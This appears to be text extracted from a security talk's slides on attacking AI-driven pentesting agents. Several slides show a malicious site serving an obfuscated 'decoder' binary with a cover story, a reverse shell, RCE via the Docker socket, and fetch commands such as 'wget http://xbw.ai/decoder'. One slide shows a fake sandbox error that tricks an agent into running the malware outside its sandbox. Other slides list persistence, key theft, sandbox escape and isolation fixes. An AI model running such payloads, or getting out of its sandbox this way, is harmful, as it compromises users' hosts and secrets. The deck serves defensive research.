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! "#Pentesting Agent
$

Pentest: 
xbw.ai

%
Malicious web resource:

xbw.ai
Malicious target:

or

"

!
Sandbox:

Can your AI-hacker get you hacked?



1.These tools will be used in real 
cybersecurity operations; you 
want them to be robust when on 
the field 

2. Adversarial robustness is a 
good proxy for general 
robustness loss-of-control/ 
hallucination

Why it matters:



What we did:

1.& We took 10 (more coming) of the most popular agentic 
pen-testing systems 

2. " We try to hack them (as attacker vector against the user)  

3. ' Found shared architectural flaws that made them 
insecure  

4. (Reason on architectural decisions that make them secure



Findings table:



#

Example of End-to-End attack (PentAGI)

xbw.ai

!
"

xbw.ai/dev

http://xbw.ai/dev


)  Fork a reverse shell daemon



#

Example of End-to-End attack (PentAGI)

xbw.ai
"

xbw.ai/dev

*
decoder

wget http://xbw.ai/decoder

*
decoder

!



⏺ Bash(objdump -f ./decoder 2>/dev/null || echo "ob…) 
  ⎿  .decoder:    file format elf64-littleaarch64 
     architecture: aarch64                                                                                                        
     start address: 0x0000000000001140                                                                                            
                                                                                                                                  ⏺ Bash(nm ./decoder 2>/dev/null | head -80)                                                                                              
  ⎿  0000000000002268 r HASH_TYPES 
     0000000000002288 r HOST_SALT_SOURCE                                                                                          
     0000000000002298 r SERVICE_PORT                  
     … +39 lines (ctrl+o to expand)                                                                                               
                                                                                                                                  ⏺ Bash(nm ./decoder 2>/dev/null | tail -30)                                                                                              
  ⎿  000000000000145c t is_valid_custom_hash                                                                                      
     0000000000001314 t load_hash_db 
     0000000000002570 r m1.2                                                                                                      
     … +27 lines (ctrl+o to expand) 
                                                                                                                                  ⏺ Bash(objdump -d ./decoder 2>/dev/null | grep -A 3…)                                                                                    
  ⎿  0000000000001878 <main>:                                                                                                     
         1878: d11c03ff         sub     sp, sp, #0x700 
         187c: a9007bfd         stp     x29, x30, [sp]

Agentic do-diligence:



The Payload *:

• +  Basic layer of obfuscation 
(just runtime xoring)

• ,  Coherent “story-telling”, 
functions names, libraries, 
functionality, persevered 
comments etc.

• You don’t need a prompt 
injection when you have a 
good story



#

Example of End-to-End attack (PentAGI)

xbw.ai
"

xbw.ai/dev

*
decoder

(w) /var/run/docker.sock

!
-"

RCE

RCE



RCE? Unavoidable!



just a starting point:

.

/ ☠

Agent weaponization: 
e.g., make attack xxx.gov 
add it to a botnet etc.

1
Achieving persistence: 
Make RCE persists across 
sessions

Sensitive info stealing: 
API keys, other pentest 
results etc.

Host compromise: 
Escape the sandbox (if any) 
and compromise the host 

RCE



Why can we easily steal stuff?
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The worker, the orchestrator, and the problem:

Docker container:

W
or

ke
r

Bash curl xbw.ai 

*

Skills

DB

API 3

Agent



Assume your worker will be 
compromised
you can just reduce the 
blast radius4 

RULE #1



Worker
(I execute whatever)

Orchestrator
(I think)

2

curl xbw.ai

Bash

The fix:

* ❌ Mem Skills DBAPI 3

Agent



Your agent is mine



.

/ ☠

Agent weaponization: 
e.g., make attack xxx.gov 
Add it to a botnet etc.

1
Achieving persistence: 
Make RCE persists across 
sessions

Sensitive info stealing: 
API keys, other pentest 
results etc.

Host compromise: 
Escape the sandbox (if any) 
and compromise the host 

RCE

Worker
(I execute whatever)

Bash

"
26

your host IP

cia.gov



Guardrails:
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Worker
(I execute whatever)

Orchestrator
(I think)

2

curl xbw.ai

Bash

7

*

The problem:

2626

Mem Skills DBAPI 3

Agent



Worker
(I execute whatever)

Orchestrator
(I think)

2

bash x.x.x.x

The fix:

"
8  cia.gov

Egress
(I enforce) 

7 checks must be made here

✅  allowed only: xbw.ai 

Mem Skills DBAPI 3

Agent



Never let the LLM decide
when to enforce a policy

RULE #2



Example Raptor (*a bit out-of-scope)

Agent

./decoder
No sandbox

Sandbox:



Action-level sandbox (Claude Code)

Host machine

Agent ./decoder
OS-level Sandbox:

Permissions: 
FS: rw ./  

net: allow [] 

Error:
Get http://xbw.ai not allowed  

under sandbox

:

Agent

No way. It’s a 
malware. I will not 

execute it;

Claude-code:

bubblewrap (namespaces) sandbox for filesystem and network

https://www.google.com/search?q=user+namespaces+site%3Ahttps%3A%2F%2Flwn.net
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Sandbox: second-order 1 (Claude Code)

Host machine

Agent ./decoder
OS-level Sandbox:

Permissions: 
FS: rw ./  

net: allow [] 

Claude-code:
“Error:

Reading crypto64.ddl not 
allowed  under sandbox”

<

No 

Print 
fake error

Trigger 
reverse 

shell

Is it 
sandbox? Yes 

: ./decoder

Agent

Oh, yes it makes 
sense. Let me run it 
outside the sandbox

!



.

/ ☠

Agent weaponization: 
e.g., make attack xxx.gov 
add it to a botnet etc.

1
Achieving persistence: 
Make RCE persists across 
sessions

Sensitive info stealing: 
API keys, other pentest 
results etc.

Host compromise: 
Escape the sandbox (if any) 
and compromise the host 

RCE

Trivial case:

Orch.
Worker

"=
Orch.

Host / container

Worker
Container:

"=

More interesting case :

" =



Source-code based one (e.g., RedAmon):

Achieving persistence through weak isolation:

Worker Orch.
Container: Host

MCPMCP
mount r/w"

=
LLM-knowledge-based ones:

Worker
Container:

Orch.
Host

Mem Skills" =



The Fix:

Worker
Orchestrator

1.♻  Reset the worker on every session (different pen-test) 
2.⬇   Minimize information flows between worker and orchestrator
3.@  RULE#3 Consider everything produced by the worker as 

malicious.

Log

Skills

Memory

Reports♻ @
Human approval gate

Mem Skills Logs



Sandbox escape:
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Port scanning!



Least-privilege principle violation:

Worker

sed  
cat 

ping
…

No privilege:

—priviliged

OrchestratorNeed privilege:

nmap  
naabu  

rr
…

!
Host:

"



Specialized Worker
Task-specific APIs

How to fix:

Worker

sed  
cat 

ping
…

No privilege: OrchestratorNeed privilege:

nmap  
naabu  

rr
…

(NET_RAW + NET_BIND_SERVICE)



But, double check your APIs (RedAmon)

Worker

sed  
cat 

ping
…

(no privilege) Orchestrator
Docker orch. 

APIs

naabu-only  
(high privileges)

Task-specific APIsTask-specific APIsTask-specific APIs"

naabu-only  
(high privileges)

"



Wrapping up!



★Ask yourself: “Will my agent be manipulated?” 
Always answer yes; Assume your agent is fully malicious

★Are guardrails useless?  
No but, assume that they will fail; distinguishing between  “hacking the 
target” or “hacking you” is an hard problem (harder than other settings)

★Design to reduce blast radius!

Takeouts:
★ Awareness: when using an agentic pentesting tool, you are 1-click 

away from being compromised. Sandbox it (the right way)

★ When design your AI cybersecurity operator: 



Wait, that’s not so bad, right?
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